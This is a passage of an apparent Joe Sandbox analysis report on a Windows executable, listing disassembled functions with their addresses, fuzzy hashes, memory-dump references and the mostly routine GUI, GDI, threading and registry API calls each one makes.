Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: MessageSendWindow$ChildParent
String ID:
API String ID: 1043810220-0
Opcode ID: cc07ca7091070dd8f985b045044bc3400c1e581ea4b6a04863ea4b3bddfa1000
Instruction ID: d7d5ce4db61d24bd99df076a2446319b8a158d8c54d99d626e5faaab1657112e
Opcode Fuzzy Hash: cc07ca7091070dd8f985b045044bc3400c1e581ea4b6a04863ea4b3bddfa1000
Instruction Fuzzy Hash: 2F0184313C6B127BE23156299C46FEB72AC5F51B64F140126B701AB2E1DE58EC8281BD

Function 0043CA90 Relevance: 6.1, APIs: 4, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0043CAAB
SendMessageA.USER32(?,000083EB,?,00000000), ref: 0043CAD5
SendMessageA.USER32(?,000083EC,?,00000000), ref: 0043CAE9
SendMessageA.USER32(?,000083E9,?,00000000), ref: 0043CB0C

Part of subcall function 00496084: GetDlgCtrlID.USER32(?), ref: 0049608E

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: MessageSend$CtrlParent
String ID:
API String ID: 1383977212-0
Opcode ID: 9a76040de9abb3508cbc0b9ed0ab309ea78a5b9cebb2b49d87e4e89ffce0f9ba
Instruction ID: 150458428a4e43389e1879d3da789bff9501fec30da319b3b7abbebb39026c30
Opcode Fuzzy Hash: 9a76040de9abb3508cbc0b9ed0ab309ea78a5b9cebb2b49d87e4e89ffce0f9ba
Instruction Fuzzy Hash: 880184B53006147BDA14EB669CC5D2FB6ACABC8B49F00451AB24597280CE69ED0287A8

Function 00492407 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 0049243B
GetCurrentProcess.KERNEL32(?,00000000), ref: 00492441
DuplicateHandle.KERNEL32(00000000), ref: 00492444
GetLastError.KERNEL32(00000000), ref: 0049245E

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CurrentProcess$DuplicateErrorHandleLast
String ID:
API String ID: 3907606552-0
Opcode ID: 4a4bb776a3015819a95451a29b04ff528b164a9cf0a63de86ea6d338835b5a3a
Instruction ID: 95ba0b09701465e9e445d6317ce3ff53519fa701cf52a4984e834a0da2be7a54
Opcode Fuzzy Hash: 4a4bb776a3015819a95451a29b04ff528b164a9cf0a63de86ea6d338835b5a3a
Instruction Fuzzy Hash: 9B0184367402007FEF10ABA6CD4AF5A7E9CDF84714F104176F919DB291DBA4DC008764

Function 00490CEA Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

WindowFromPoint.USER32(?,?), ref: 00490D02
GetParent.USER32(00000000), ref: 00490D0F
ScreenToClient.USER32(00000000,?), ref: 00490D30
IsWindowEnabled.USER32(00000000), ref: 00490D49

Part of subcall function 00499210: GetWindowLongA.USER32(00000000,000000F0), ref: 00499221

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Window$ClientEnabledFromLongParentPointScreen
String ID:
API String ID: 2204725058-0
Opcode ID: 497449c1fe8629387627296e1aa852c802eedfd79a2d2b59f1b7fca6816b2c48
Instruction ID: 81ad9e6083100f78d1e2c9a2c40bfb11045f8487cb1742354f623491a21f575a
Opcode Fuzzy Hash: 497449c1fe8629387627296e1aa852c802eedfd79a2d2b59f1b7fca6816b2c48
Instruction Fuzzy Hash: 72017136600614BF9B125B9D9C44DAF7FB9AF89750B140279F905D3324EB74DD018758

Function 0040ACD0 Relevance: 6.0, APIs: 4, Instructions: 49windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00000030,?,00000001), ref: 0040AD01
SendMessageA.USER32(?,00000030,?,00000001), ref: 0040AD19
GetStockObject.GDI32(00000011), ref: 0040AD23
SendMessageA.USER32(?,00000030,00000000,00000001), ref: 0040AD43

Part of subcall function 0040AB10: CreateFontIndirectA.GDI32 ref: 0040AB59

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: MessageSend$CreateFontIndirectObjectStock
String ID:
API String ID: 1613733799-0
Opcode ID: efd2061dc6aa225fb4b8bf6a17a682f64ae7f81a661834c7dc073fa28e5a4079
Instruction ID: 0126d090266f51eb0a6fc6fca6038e70294fa0c5d1702cf3fc2001b9f7832816
Opcode Fuzzy Hash: efd2061dc6aa225fb4b8bf6a17a682f64ae7f81a661834c7dc073fa28e5a4079
Instruction Fuzzy Hash: 5901D232200310BFDB24DB90EC44F9777A9AF88711F008859F6059B2A1C774EC82C795

Function 00494DBF Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00494DCA
GetTopWindow.USER32(00000000), ref: 00494DDD
GetTopWindow.USER32(?), ref: 00494E0D
GetWindow.USER32(00000000,00000002), ref: 00494E28

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Window$Item
String ID:
API String ID: 369458955-0
Opcode ID: 4fb4b83cec4be5e2f6c8a9ac3427b67afb626072b3cea0335b6c5c0df5e3ca43
Instruction ID: 8d3495bae528c351efb4eea68a9106f4afcf3b7631305b48863d6c2f4b179c08
Opcode Fuzzy Hash: 4fb4b83cec4be5e2f6c8a9ac3427b67afb626072b3cea0335b6c5c0df5e3ca43
Instruction Fuzzy Hash: 1D015A36501225BB8F222EA1CC00EAF3E99BF91390F048136FD0891220E739CA1296AD

Function 00494E38 Relevance: 6.0, APIs: 4, Instructions: 49windowCOMMON

Download Yara Rule

APIs

GetTopWindow.USER32(?), ref: 00494E46
SendMessageA.USER32(00000000,?,?,?), ref: 00494E7C
GetTopWindow.USER32(00000000), ref: 00494E89
GetWindow.USER32(00000000,00000002), ref: 00494EA7

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Window$MessageSend
String ID:
API String ID: 1496643700-0
Opcode ID: 704e3346ec21422575be3f5510a67b09fcd0d2e677763fa606d0adbb38534dc2
Instruction ID: a4ecabe6a21e72acef8aa256e8c463355dbdc2c401ee10c1b8ebcd7565c160d4
Opcode Fuzzy Hash: 704e3346ec21422575be3f5510a67b09fcd0d2e677763fa606d0adbb38534dc2
Instruction Fuzzy Hash: D901083200111ABBCF126F95DC05EDF3F6ABF85361F058026FA0051160C73ACA72EBA9

Function 00496921 Relevance: 6.0, APIs: 4, Instructions: 48windowCOMMON

Download Yara Rule

APIs

EnableMenuItem.USER32(?,?,?), ref: 00496949
GetFocus.USER32 ref: 0049695C
GetParent.USER32(?), ref: 0049696A
GetNextDlgTabItem.USER32(?,?,00000000), ref: 00496986

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Item$EnableFocusMenuNextParent
String ID:
API String ID: 988757621-0
Opcode ID: 6da0568b2a8b75ab63e5f1a6a50997355803f9bd9be05ca21c507b2d0a649ccd
Instruction ID: 5713b713d7d81c6d8ee67cd17e1c8b2a2cce9a61d129b9d3786de8962c9eeee5
Opcode Fuzzy Hash: 6da0568b2a8b75ab63e5f1a6a50997355803f9bd9be05ca21c507b2d0a649ccd
Instruction Fuzzy Hash: 36118EB1200600AFCF289F25DC09B2ABFF5AF41311F158A3EF146862A0CB38E845CB58

Function 00499B92 Relevance: 6.0, APIs: 4, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(00000000,?,00000000,00000004,?,00000004,?,?), ref: 00499BBE
RegCloseKey.ADVAPI32(00000000,?,?), ref: 00499BC7
wsprintfA.USER32 ref: 00499BE3
WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 00499BFC

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ClosePrivateProfileStringValueWritewsprintf
String ID:
API String ID: 1902064621-0
Opcode ID: f2213af625e7da4ebdab3fc104444bc05d08240754f56b9fda1b3c5c978e260f
Instruction ID: 6bb357199d004739c1c1ca4f94026ddbb08cdb6919dc8122632a7196b12452a8
Opcode Fuzzy Hash: f2213af625e7da4ebdab3fc104444bc05d08240754f56b9fda1b3c5c978e260f
Instruction Fuzzy Hash: F1016272400215BBDF115F68DC05FEA3FA9BF05714F04443AFA11E61A0D774D9208B98

Function 0043E480 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0043E4C3
wsprintfA.USER32 ref: 0043E4D9

Strings

%d.%d, xrefs: 0043E4D3
gfff, xrefs: 0043E48B

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: wsprintf
String ID: %d.%d$gfff
API String ID: 2111968516-3773932281
Opcode ID: 9bf213606ea3eed8b4acc45dbcb6ae6337fde9a24536920ceb34a7e539c51e32
Instruction ID: d2fbfcf037ca25a8a1bde80b3b58e7acdbf740dbaea0a01c89aaaafd8ba6ef2b
Opcode Fuzzy Hash: 9bf213606ea3eed8b4acc45dbcb6ae6337fde9a24536920ceb34a7e539c51e32
Instruction Fuzzy Hash: B3F024A5B0021027CB4C951FAC09E5B2A9AABEE710F09843FF449C7390D4A48C11826A

Function 00495527 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

GetObjectA.GDI32(00000000,0000000C,?), ref: 00495565
SetBkColor.GDI32(00000000,00000000), ref: 00495571
GetSysColor.USER32(00000008), ref: 00495581
SetTextColor.GDI32(00000000,?), ref: 0049558B

Part of subcall function 00499210: GetWindowLongA.USER32(00000000,000000F0), ref: 00499221

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Color$LongObjectTextWindow
String ID:
API String ID: 2871169696-0
Opcode ID: e04f06bca73c2ffd460bbe1e036a85daea152ad693df3e40db04fceda949180d
Instruction ID: 897901d154df2d8f7a01cdd28d602d42be2cc46cdb4921bc4e5b92c779fedcb5
Opcode Fuzzy Hash: e04f06bca73c2ffd460bbe1e036a85daea152ad693df3e40db04fceda949180d
Instruction Fuzzy Hash: 8A016230100505BBDF225F54ED59AAF3F66AB093A0F614532FA01C41F6D738CD94CB59

Function 0048F684 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(004FD700,00000001), ref: 0048F6AC
InitializeCriticalSection.KERNEL32(004FD6E8,?,?,?,0048F643), ref: 0048F6B7
EnterCriticalSection.KERNEL32(004FD6E8,?,?,?,0048F643), ref: 0048F6F6

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CriticalSection$EnterExchangeInitializeInterlocked
String ID:
API String ID: 3643093385-0
Opcode ID: aa364f2228b4e396d2f7610375fc0059316e7e62dd7035292bb147de94e9a132
Instruction ID: 715845b4e193f46fc62587295d1dbe23e99919c851f3edb64e71a5510a8de2d3
Opcode Fuzzy Hash: aa364f2228b4e396d2f7610375fc0059316e7e62dd7035292bb147de94e9a132
Instruction Fuzzy Hash: 15F0F472B442009BD61177906C49B3E3B96F3947B1F200A37F601F41B1E3A99806A71C

Function 00498649 Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

GetWindowExtEx.GDI32(?,?), ref: 0049865A
GetViewportExtEx.GDI32(?,?), ref: 00498667
MulDiv.KERNEL32(?,00000000,00000000), ref: 0049868C
MulDiv.KERNEL32(?,00000000,00000000), ref: 004986A7

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ViewportWindow
String ID:
API String ID: 1589084482-0
Opcode ID: 7b56e973b89fb9834793cffdf561e9f8452b3500cf8433e634fc6938c8df56ad
Instruction ID: 12c3b157b5d8d80c34c75aac6d01ee5c47c0e4aa01779157607defa6853ab6a4
Opcode Fuzzy Hash: 7b56e973b89fb9834793cffdf561e9f8452b3500cf8433e634fc6938c8df56ad
Instruction Fuzzy Hash: 7EF08C72400109FFEB007F65EC06CBEBBBDEF80710B11482AF965A2530EB71AE509B58

Function 004986B2 Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

GetWindowExtEx.GDI32(?,?), ref: 004986C3
GetViewportExtEx.GDI32(?,?), ref: 004986D0
